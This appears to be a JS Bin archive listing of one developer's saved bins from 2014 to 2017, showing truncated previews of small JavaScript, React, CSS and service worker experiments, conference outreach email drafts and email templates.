1 17 Jan 2017 Archive Un-archive /* setup code to replicate issue */ console.clear(); const data = [ [1,2,3,4].map(_ => moment().add(_, 'week').format()) ] /** end of setup code */ var weeks = (data[0] || []).sort(function(a,b) { return new Date(a)-new Date(b); }) // .slice(0, 1); // get
poyuvat 12 Jan 2017 Archive Un-archive Add button
9794d55003de3dcc11c6d1aea0c07d4c 09 Jan 2017 Archive Un-archive a = ['foo.md', 'bar.md', 'baz.md', '.DS_Store', 'random'] console.clear(); console.log( a.filter(_ => { return _.endsWith('.md') }).map(_ => { return _.length }) )
1 09 Jan 2017 Archive Un-archive a = ['foo.md', 'bar.md', 'baz.md', '.DS_Store', 'random'] console.clear(); console.log( a.filter(_ => { return _.indexOf('foo') === 0 }) )
qebotu 31 Dec 2016 Archive Un-archive // Code goes here var guid = 0; function run() { guid++; var id = guid; return new Promise(function(resolve,reject) { // resolve in a random amount of time setTimeout(function () { if (guid === 11) { reject(-1); } else { console.log(id); resolve(id); } },
sepomag 21 Dec 2016 Archive Un-archive remy sharp's b:logCommit to contributeOne morning I started my day thinking that I would try to find a little time to work on nodemon and woke up to a new pull request that fixed a small bug. The only problem with the pull request was that it didn&#39;t h
ruxot 14 Dec 2016 Archive Un-archive var lastTapSeconds = 0; var bpm = 0; var beats = []; var average = 0; var count = 0; var tapDiv = document.getElementById("tapDiv"); $(document).on('click', function() { var tapSeconds = new Date().getTime(); bpm = ((1 / ((tapSeconds - lastTapSeconds) / 1
fehecec 14 Dec 2016 Archive Un-archive function stringToUint(string) { var string = btoa(unescape(encodeURIComponent(string))), charList = string.split(''), uintArray = []; for (var i = 0; i < charList.length; i++) { uintArray.push(charList[i].charCodeAt(0)); } return new Uint8Array(uintArray)
pinoden 13 Dec 2016 Archive Un-archive Arrow function keeping the outer scope's context in this
2 13 Dec 2016 Archive Un-archive Arrow function keeping the outer scope's context in this
1 13 Dec 2016 Archive Un-archive Arrow function keeping the outer scope's context in this
ketijur 13 Dec 2016 Archive Un-archive Arrow function keeping the outer scope's context in this
kusecoc 13 Dec 2016 Archive Un-archive Arrow function keeping the outer scope's context in this
jujonu 11 Dec 2016 Archive Un-archive (function () { var keys = { left: 37, right: 39, }; var tabs = $('[role="tab"]'); $('body').on('keydown', '[role="tab"]', function (e) { var i; i = tabs.index(this); if (e.which === keys.left) i--; if (e.which === keys.right) i++; if (i === 0) i = tabs.le
lorovu 11 Dec 2016 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
4 22 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
3 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
2 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
1 20 Dec 2015 Archive Un-archive Dizzy Ninja Missy Name Dizzy Colour Tabby Super power Sleeping Name Lord Ninja of Catville Colour Black &amp; White Super power Most pathetic meow known to catkind Name Missy Colour Black Super power Computer hardware protection The follow
wulufoy 07 Dec 2016 Archive Un-archive Get started
1 07 Dec 2016 Archive Un-archive Get started
wogego 04 Dec 2016 Archive Un-archive Click once for a one minute countdown. Twice for two…
fisavu 29 Nov 2016 Archive Un-archive JS Bin
bapizu 29 Nov 2016 Archive Un-archive JS Bin
cuyaru 29 Nov 2016 Archive Un-archive foo
vocigo 23 Nov 2016 Archive Un-archive cron.jobs Cloud managed reoccurring jobs.
pexiyeh 22 Nov 2016 Archive Un-archive one two three click something
1 22 Nov 2016 Archive Un-archive one two three click something
pihahih 22 Nov 2016 Archive Un-archive See the console ❤
qasaqed 11 Nov 2016 Archive Un-archive okay gor timr
1 11 Nov 2016 Archive Un-archive 1
qitem 09 Nov 2016 Archive Un-archive var links = ` http://muan.co/emoji-minesweeper Specific URL https://beta.schiphol.com/en/ Any page http://www.marksandspencer.com/tailored-fit-open-front-waterfall-cardigan/p/p22489506?image=SD_01_T38_6721_YG_X_EC_90&color=BlackandBlack&prevPage=plp Any p
9 05 Nov 2015 Archive Un-archive var links = 'https://www.growkudos.com/ jsbin.com grandtour.myswitzerland.com/en www.nme.com https://www.deeson.co.uk/drupal8r-data-visualisation-tool-0 https://streamus.com/ www.dyson.com http://earthview.withgoogle.com/ http://deredactie.be http://thety
8 07 Oct 2015 Archive Un-archive var links = '1 2 3 4 5'.split(' '); var i = Math.random() * links.length | 0; try { i = window.top.location.hash.substr(1) || i; }catch (e) {} function update(i) { document.body.innerHTML = '<strong>#' + i + '</strong>&nbsp;&nbsp;&nbsp;' + links[i]; } upd
7 03 Jun 2015 Archive Un-archive var links = 'http://www.umusicpub.co.uk/ https://fyndiq.se/ http://www.avangate.com www.optaros.com www.coachoutlet.com http://ux-architect.github.io/demo/ https://www.haufe.de/ http://acp.imobiliare.ro/acp?sess_id=fda0f5abc10a1b5661451916e5c205668d300ca9
6 01 Jun 2015 Archive Un-archive var links = 'http://paravion.ro https://web.de news.ycombinator.com www.duolingo.com www.zoover.co.uk https://www.the100.io/ https://www.moneyadviceservice.org.uk http://www.tripadvisor.com/ mediafax.ro http://www.gsp.ro http://fabulousmuses.net http://ww
5 31 May 2015 Archive Un-archive var links = ''.split(' '); var i = Math.random() * links.length | 0; try { i = window.top.location.hash.substr(1) || i; }catch (e) {} function update(i) { document.body.innerHTML = '<strong>#' + i + '</strong>&nbsp;&nbsp;&nbsp;' + links[i]; } update(i); w
4 05 Nov 2014 Archive Un-archive var links = ['http://www.yoox.com', 'http://boutique.brunellocucinelli.com/it', 'http://www.napapijri.com/it/', 'http://youssefsiblini.com', 'http://siblinis.com', 'http://i100.co.uk', 'http://www.ebay.co.uk/', 'http://www.waitrose.com/', 'https://www.fli
3 02 Apr 2014 Archive Un-archive var links = ['https://www.refind.in/', 'https://consciousme.com/', 'http://www.nationwide.co.uk', 'http://www.coventry.ac.uk', 'http://dglegal.co.uk/', 'http://thereasonscampaign.com/', 'http://www.weiss.info/', 'http://app.volkswagen.ie/ihdcc/en/configur
2 01 Apr 2014 Archive Un-archive var links = ['https://www.refind.in/', 'https://consciousme.com/', 'http://www.nationwide.co.uk', 'http://www.coventry.ac.uk', 'http://dglegal.co.uk/', 'http://thereasonscampaign.com/', 'http://www.weiss.info/', 'http://app.volkswagen.ie/ihdcc/en/configur
1 01 Apr 2014 Archive Un-archive function shuffle(array) { var m = array.length, t, i; // While there remain elements to shuffle… while (m) { // Pick a remaining element... i = Math.floor(Math.random() * m--); // And swap it with the current element. t = array[m]; array[m] = array[i]; ar
raweceh 09 Nov 2016 Archive Un-archive .........
1 09 Nov 2016 Archive Un-archive ....
veferec 09 Nov 2016 Archive Un-archive var city = "Brighton"; console.log(city)
jowetij 09 Nov 2016 Archive Un-archive This is nice.
lahober 07 Nov 2016 Archive Un-archive This is a nice URL, and there's some drops
2 07 Nov 2016 Archive Un-archive remysharp
1 07 Nov 2016 Archive Un-archive remysharp
gapuwe 03 Nov 2016 Archive Un-archive v = '---£--78.8999'; minus = v[0] === '-'; cost = (minus ? '-' : '') + v.replace(/[^.\d]/g, ''); console.log( parseFloat(cost, 10).toFixed(2) * 1 )
higumex 02 Nov 2016 Archive Un-archive function foo() { return { foo: 12, bar: 21, }; } const { foo: f } = foo(); console.log(f);
zapanug 01 Nov 2016 Archive Un-archive this is a div
cukacu 31 Oct 2016 Archive Un-archive Where does the border come from?
pobutij 25 Oct 2016 Archive Un-archive %code% %code%
fiwabe 20 Oct 2016 Archive Un-archive Just _write_ some **markdown** - `cmd+enter`: toggle fullscreen - `cmd+s`: save and download if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/sayafi.js'); }
28 07 Sep 2016 Archive Un-archive Just _write_ some **markdown** - `cmd+enter`: toggle fullscreen - `cmd+s`: save and download if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/sayafi.js'); }
27 07 Sep 2016 Archive Un-archive Just _write_ some **markdown** You can also switch to fullscreen with `cmd+enter`
26 07 Sep 2016 Archive Un-archive Just _write_ some **markdown** You can also switch to fullscreen with `cmd+enter`
25 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
24 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
23 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
22 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
21 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
20 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
19 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
18 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
17 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
16 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
15 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
14 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
13 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
12 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
11 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
10 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
9 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
8 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
7 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
6 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
5 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
4 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
3 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
2 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
2 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
1 07 Sep 2016 Archive Un-archive Hi {{name}}, I hope you don't mind the email out of the blue. I wanted to reach out and let Laterooms (and in particular your team of developers) know that I'm running ffconf (formally Full Frontal) again this year and as we've doubled our capacity we're
zinuwa 18 Oct 2016 Archive Un-archive Currently completed videos Getting started Introduction to The Art of Debugging (01:01) Workshop overview (03:34) Creating a clean debugging workspace (02:28) Using the latest devtools and experiments (04:03) Prerequisites for this workshop (02:12) Sour
hoxamo 14 Oct 2016 Archive Un-archive wfunction () { }ebkitRequestFileSystem
vaziqur 14 Oct 2016 Archive Un-archive %css%
qatitux 07 Oct 2016 Archive Un-archive Hello world.
zivaya 06 Oct 2016 Archive Un-archive --> $path = 'C:/XAMPP/htdocs, /cmdb/'; set_include_path(get_include_path() . PATH_SEPARATOR . $path); session_start() ; $_SESSION['status']=0 ; session_write_close() ; ?> Unknown Crucial Reminders Due Reminders to Review
fowori 06 Oct 2016 Archive Un-archive console.clear(); const immutable = (() => { const getValue = obj => key => obj[key]; const isObject = obj => Object(obj) === obj; const isMutable = obj => isObject(obj) && !Object.isFrozen(obj); return obj => { Object.keys(obj).map(getValue(obj)).filter(i
natiza 05 Oct 2016 Archive Un-archive console.clear(); var names = ` Rachel Andrew Ada Rose Leonie Watson Andrew Martin Mariko Kosaka Umar Hansa Ashley Williams Mathieu Henri `.trim().toLowerCase().replace(/ /g, ''); a = names.split('\n').map(_ => { return _.split('').sort((a, b) => { return
hupoye 05 Oct 2016 Archive Un-archive Thanks for your feedback!CloseMessagesNew 23 September 201607590 497258: This is a test of webhooks again.22 September 20163208402830483209840283098: rewohweal kjhekjwh ra21 September 2016983240894238: Just a demo 5 days agoLeave feedback window.__PRELOA
1 28 Sep 2016 Archive Un-archive Thanks for your feedback!CloseMessagesNew 23 September 201607590 497258: This is a test of webhooks again.22 September 20163208402830483209840283098: rewohweal kjhekjwh ra21 September 2016983240894238: Just a demo 5 days agoLeave feedback window.__PRELOA
cafuwev 05 Oct 2016 Archive Un-archive I=1/7 ;ANI= 'I+=I "+B.replace\ (/\\S/g,( a,b)=>{r eturn\40z=I*\ (1+b*b/50 0%2)%130 ,"•"})';A=''; Z=(NaN+[] ["fill"] )[11];e=ANI;$ =/\s\s+/g ;![];S=" ";e=e.replace ($,A,0); ![];B=S+ p.outerHTML. replace (/y.*e/, 1E00);SS=S; B=S+S+B.substr(05,20)+'\n'+Z+Z+B
1 04 Oct 2016 Archive Un-archive I=1/7 ;ANI= 'I+=I "+B.replace\ (/\\S/g,( a,b)=>{r eturn\40z=I*\ (1+b*b/50 0%2)%130 ,"."})';A=''; Z=(NaN+[] ["fill"] )[11];e=ANI;$ =/\s\s+/g ;![];S=" ";e=e.replace ($,A,0); ![];B=S+ p.outerHTML. replace (/y.*e/, 1E00);SS=S; B=S+S+B.substr(05,20)+'\n'+Z+Z+B
xuyokix 04 Oct 2016 Archive Un-archive ffconf I=1/7 ;e='\ I+=I"+ B.replace(/\ \\S/g,fun ction(a, b){return\40\ z=I*(1+b* b/500%2) %130,". "})';$$= /\s\s+/g; N=16;S=" ";!!+[];!!+[] !!+0;S+=" ";JS="
dubiho 03 Oct 2016 Archive Un-archive function foo() { with window indexedDB.console.log({ ok: 1 }) }
gebujov 28 Sep 2016 Archive Un-archive Hello App! will be rendered as an `` tag by default --> Go to Foo Go to Bar
yakopa 28 Sep 2016 Archive Un-archive <!DOCTYPE html>
kahocot 28 Sep 2016 Archive Un-archive <!DOCTYPE html>
falapa 28 Sep 2016 Archive Un-archive <!DOCTYPE html>
cukovos 28 Sep 2016 Archive Un-archive <!DOCTYPE html>
vogixaj 27 Sep 2016 Archive Un-archive console.clear(); console.log(new Date().toJSON()) const _requireGen = _require(); let ctr = 0; function loadModule(name) { const id = ++ctr; return new Promise(resolve => { setTimeout(() => { _requireGen.next(`${id}: ${name}`); }, 100); }); } function* _r
wepodad 27 Sep 2016 Archive Un-archive ا ا اضغ hay
tirafi 22 Sep 2016 Archive Un-archive Just a testCloseMessagesNew 22 September 20163208402830483209840283098: rewohweal kjhekjwh ra21 September 2016983240894238: Just a demo an hour agoLeave feedback window.__PRELOADED_STATE__={"lastUpdated":"2016-09-22T18:44:20.135Z","csrf":"VKRdlnpn-Nrl-PF
zuhehov 21 Sep 2016 Archive Un-archive JS Bin
fiqucix 19 Sep 2016 Archive Un-archive const a = 'remy'; const b = { [a]: 'sharp' }; console.log(b);
geridu 18 Sep 2016 Archive Un-archive Creates the DOM tree on the fly
11 18 Sep 2016 Archive Un-archive The idea being a live updating DOM tree using React's diffing logic. You enter code in the textarea below, and it renders. But you should be able to change the state of an input, but adding to the HTML shouldn't affect your input (but it does, because I d
10 18 Sep 2016 Archive Un-archive The idea being a live updating DOM tree using React's diffing logic. You enter code in the textarea below, and it renders. But you should be able to change the state of an input, but adding to the HTML shouldn't affect your input (but it does, because I d
9 18 Sep 2016 Archive Un-archive The idea being a live updating DOM tree using React's diffing logic. You enter code in the textarea below, and it renders. But you should be able to change the state of an input, but adding to the HTML shouldn't affect your input (but it does, because I d
8 17 Sep 2016 Archive Un-archive The idea being a live updating DOM tree using React's diffing logic. You enter code in the textarea below, and it renders. But you should be able to change the state of an input, but adding to the HTML shouldn't affect your input (but it does, because I d
7 17 Sep 2016 Archive Un-archive const { Router, Route, IndexRoute, Link } = ReactRouter; const Source = React.createClass({ getInitialState() { return { value: '' }; }, onChange() { this.setState({ value: this.source.value }); // yes, I need redux... this.props.onChange(this.source.valu
6 17 Sep 2016 Archive Un-archive const { Router, Route, IndexRoute, Link } = ReactRouter; const Source = React.createClass({ getInitialState() { return { value: '' }; }, onChange() { this.setState({ value: this.source.value }); // yes, I need redux... this.props.onChange(this.source.valu
5 17 Sep 2016 Archive Un-archive const { Router, Route, IndexRoute, Link } = ReactRouter; const Source = React.createClass({ getInitialState() { return { value: '' }; }, onChange() { this.setState({ value: this.source.value }); // yes, I need redux... this.props.onChange(this.source.valu
4 17 Sep 2016 Archive Un-archive const { Router, Route, IndexRoute, Link } = ReactRouter; const Source = React.createClass({ getInitialState() { return { value: '' }; }, onChange() { this.setState({ value: this.source.value }); // yes, I need redux... this.props.onChange(this.source.valu
3 17 Sep 2016 Archive Un-archive const { Router, Route, IndexRoute, Link } = ReactRouter; const Source = React.createClass({ getInitialState() { return { value: '' }; }, onChange() { this.setState({ value: this.source.value }); // yes, I need redux... this.props.onChange(this.source.valu
2 17 Sep 2016 Archive Un-archive // {props.children} // // // ); // const App = (props)
1 17 Sep 2016 Archive Un-archive {props.children} ); const Home = (props) => ( HomeWelcom
rafafuq 17 Sep 2016 Archive Un-archive demo another
besabe 17 Sep 2016 Archive Un-archive JS Bin
dicaqox 17 Sep 2016 Archive Un-archive {props.children} ); const Home = (props) => ( HomeWelcom
dunoka 17 Sep 2016 Archive Un-archive {props.children} ); const Home = (props) => ( HomeWelcom
1 17 Sep 2016 Archive Un-archive {this.props.children} ); const Home = (props) => ( HomeWelcome ); const About = (props) => ( A
suxoxu 16 Sep 2016 Archive Un-archive I am header Lorem ipsum dolor sit amet, consectetur adipisicing elit. Fuga atque reprehenderit, dolor odio deserunt qui possimus. Autem, quam dolor ex, magnam delectus corrupti iure consequatur similique, inventore omnis culpa velit. This is footer
raboqe 13 Sep 2016 Archive Un-archive const $ = (s) => document.querySelector(s); var data = Bind({ list: [], filter: null, }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, }, filter: { dom: '#search', callback:
2 12 Sep 2016 Archive Un-archive const $ = (s) => document.querySelector(s); var data = Bind({ list: [], filter: null, }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, }, filter: { dom: '#search', callback:
1 12 Sep 2016 Archive Un-archive const $ = (s) => document.querySelector(s); var data = Bind({ list: [], filter: null, }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, }, filter: { dom: '#search', callback:
yexewaw 12 Sep 2016 Archive Un-archive const $ = (s) => document.querySelector(s); var data = Bind({ list: [], filter: null, }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, }, filter: { dom: '#search', callback:
1 11 Sep 2016 Archive Un-archive const $ = (s) => document.querySelector(s); var data = Bind({ list: [], filter: null, }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, }, filter: { dom: '#search', callback:
lekaci 12 Sep 2016 Archive Un-archive var MessageList = React.createClass({ getInitialState() { const state = { data: [ {number: '01273 776651', text: 'This is one comment', date: '2016-09-12T15:24:35.538Z' }, {number: '01273 776652', text: 'This is *another* comment', date: '2016-09-12T15:24
2 12 Sep 2016 Archive Un-archive var Counter = React.createClass({ getInitialState: function () { return { count: 0 }; }, handleClick: function () { this.setState({ count: this.state.count + 1, }); }, render: function () { return ( <button onClick={this.handleClick}> Click me! Number of
1 12 Sep 2016 Archive Un-archive var Counter = React.createClass({ getInitialState: function () { return { count: 0 }; }, handleClick: function () { this.setState({ count: this.state.count + 1, }); }, render: function () { return ( <button onClick={this.handleClick}> Click me! Number of
gucinu 10 Sep 2016 Archive Un-archive home Articles Breadcrumbs
texuyas 09 Sep 2016 Archive Un-archive const $ = (s) => document.querySelector(s); var data = Bind({ list: [], filter: null, }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, }, filter: { dom: '#search', callback:
1 09 Sep 2016 Archive Un-archive const $$ = (s) => { return Array.from(document.querySelectorAll(s)); }; var data = Bind({ list: [], }, { list: { dom: '#list', transform: function (item) { return item.visible ? '<li>' + this.safe(item.message) + '</li>' : ''; }, } }); data.push({ visible
jewaceq 08 Sep 2016 Archive Un-archive #barf { animation: anim 500ms steps(3, end) forwards; background: url(https://jsbin-user-assets.s3.amazonaws.com/rem/barf.png); background-repeat: no-repeat; height: 225px; width: 270px; background-position: 0 0; } @keyframes anim { from { background-posi
sayafi 07 Sep 2016 Archive Un-archive // we'll version our cache (and learn how to delete caches in // some other post) const cacheName = 'v1::static'; self.addEventListener('install', e => { // once the SW is installed, go ahead and fetch the resources // to make this work offline e.waitUnti
zapuguw 02 Sep 2016 Archive Un-archive body { background: #eee; } div { color: red; width: 20vh; height: 20vh; background: red; border-radius: 40.2px; margin: 25vh auto; }
wuwumoh 02 Sep 2016 Archive Un-archive JS Bin
wodebo 29 Aug 2016 Archive Un-archive Mobile jsbin nice one two three four we can also do code, with spaces ok?
3 29 Aug 2016 Archive Un-archive Mobile jsbin nice one two three four we can also do code, with spaces ok?
2 29 Aug 2016 Archive Un-archive Mobile jsbin nice one two three four we can also do code, with spaces ok?
1 10 Aug 2016 Archive Un-archive ul
kikisih 29 Aug 2016 Archive Un-archive const _ = [1,2,3,4] console.clear(); for (const [a, i] of _) { console.log(a) }
2 29 Aug 2016 Archive Un-archive const _ = [1,2,3,4] console.clear(); for (const [a, i] of _) { console.log(a) }
1 29 Aug 2016 Archive Un-archive const _ = [1,2,3,4] console.clear(); for (const [a, i] of _) { console.log(a) }
vebonuf 29 Aug 2016 Archive Un-archive var s = ` delete /repos/:name/:repo/git/refs/:ref get /repos/:name/:repo get /repos/:name/:repo/git/refs get /repos/:name/:repo/git/refs/:ref get /repos/:name/:repo/pulls get /repos/:name/:repo/pulls/:number/commits patch /repos/:name/:repo/pulls/:number
rarosuc 29 Aug 2016 Archive Un-archive hello world
eRoqAMe 24 Aug 2016 Archive Un-archive var object = { url: '/', method: 'POST', body: { commits: [ { modified: ['file2.txt'] }, { modified: ['.snyk', 'file1.txt'] } ] } }; console.log(undefsafe(object.body, 'commits.*.modified.*', '.snyk'));
5 19 Jun 2015 Archive Un-archive var object = { a: { b: { c: 1, d: [1,2,3], e: false } } }; console.log(undefsafe(object, 'a.b.d.length') === 3);
4 28 May 2015 Archive Un-archive var object = { a: { b: { c: 1, d: [1,2,3], e: 'remy' } } }; console.clear(); console.log(undefsafe(object, 'a.b.e')); console.log(undefsafe(object, 'a.b.not.found'));
3 18 Mar 2015 Archive Un-archive var object = { a: { b: { c: 1, d: [1,2,3], e: false } } }; console.log(undefsafe(object, 'a.b.e') === false);
2 28 Jul 2014 Archive Un-archive var object = { a: { b: { c: 1, d: [1,2,3], e: false } } }; console.log(undefsafe(object, 'a.b.e') === false);
1 08 Jan 2014 Archive Un-archive undefsafe
giyozo 23 Aug 2016 Archive Un-archive New customer created: username: {{username}} (github) plan: {{plan.name}} (£{{#divide plan.amount 100 2}}{{/divide}}) repos: {{public_repos}} gists: {{public_gists}} followers: {{followers}} following: {{following}} Your username: {{user.name
9e690a2cf872fee5437b53b988418d98 23 Aug 2016 Archive Un-archive &nbsp; This is preheader text. Some clients will show this text as a preview. New customer created: username: {{username}} (github) plan: {{plan.id}} (£{{#divide plan.amount 100 2}}{{/divide}}) repos: {{public_repos}} gists: {{public_gists}} fo
67e7656569361bc56b33b87b1036ae8e 23 Aug 2016 Archive Un-archive New customer created: username: {{username}} (github) plan: {{plan.id}} (£{{#divide plan.amount 100 2}}{{/divide}}) repos: {{public_repos}} gists: {{public_gists}} followers: {{followers}} following: {{following}} JS Bin Ltd. Company No. 8998555 Made i
neqodo 23 Aug 2016 Archive Un-archive console.clear(); function Foo() { this.a = 2; return this; } Foo.prototype.reg = function (...rest) { const options = rest.pop(); const inverse = !rest.some(Boolean); if (inverse) { return this.a * -10; } return this.a * 10; }; const foo = new Foo(); cons
gojexaw 18 Aug 2016 Archive Un-archive a = [{ path: '/repos/remy/snyk-tests', method: 'get', },{ path: '/repos/remy/snyk-tests/git/refs/heads%2Fmaster', method: 'get', },{ path: '/repos/remy/snyk-tests/git/refs', method: 'post', },{ path: '/repos/remy/snyk-tests/git/trees', method: 'post', },{
xiculu 18 Aug 2016 Archive Un-archive console.log(_)
yocumac 18 Aug 2016 Archive Un-archive console.clear(); var name = { toString: function () { console.log("uh oh, I called name.toString()"); }, }; alert(JSON.stringify(name)) console.log("name === 'undefined': " + (name === 'undefined'));
huliwo 16 Aug 2016 Archive Un-archive const commits = [ { "sha": "a27276", "commit": { "author": { "name": "Felipe Vargas", "email": "fvargasx@gmail.com", "date": "2016-05-12T09:25:18Z" }, "committer": { "name": "Remy Sharp", "email": "remy@remysharp.com", "date": "2016-05-12T09:25:18Z" }, "m
qajuhe 16 Aug 2016 Archive Un-archive input { font-size: 16px; padding: 5px; border: 0; } input:invalid { background: red; } input:valid { background: lightgreen; }
1 16 Aug 2016 Archive Un-archive input { font-size: 16px; padding: 5px; border: 0; } input:invalid { background: red; } input:valid { background: lightgreen; }
hotapa 15 Aug 2016 Archive Un-archive ..
sizayuy 15 Aug 2016 Archive Un-archive ...
curewo 10 Aug 2016 Archive Un-archive This is the body.
qeceqal 09 Aug 2016 Archive Un-archive Aims for training
1 09 Aug 2016 Archive Un-archive h1
kugayo 09 Aug 2016 Archive Un-archive ...
54b2bc182f23939ceca67021bd0d1fe2 08 Aug 2016 Archive Un-archive it wasn't, it was just *really* fast to save offline!
1 08 Aug 2016 Archive Un-archive Document
hosiqu 08 Aug 2016 Archive Un-archive Document
sucoji 07 Aug 2016 Archive Un-archive function () { window }
xaziji 07 Aug 2016 Archive Un-archive function test
rijaja 07 Aug 2016 Archive Un-archive function function function function
capepa 06 Aug 2016 Archive Un-archive // this is a comment function thisisnot() { return "I want to highlight this"; } console.log('not this');
siroxi 06 Aug 2016 Archive Un-archive fp
rodasi 06 Aug 2016 Archive Un-archive // setup var c = document.getElementById('main'), ctx = c.getContext('2d'), off = document.getElementById('offscreen'), os = off.getContext('2d'); ctx.fillStyle = "#000000"; ctx.font = "16px Arial"; ctx.fillText("Expected:", 10, 50); os.font = "16px Arial
dipelo 05 Aug 2016 Archive Un-archive This cool
1 05 Aug 2016 Archive Un-archive JS Bin
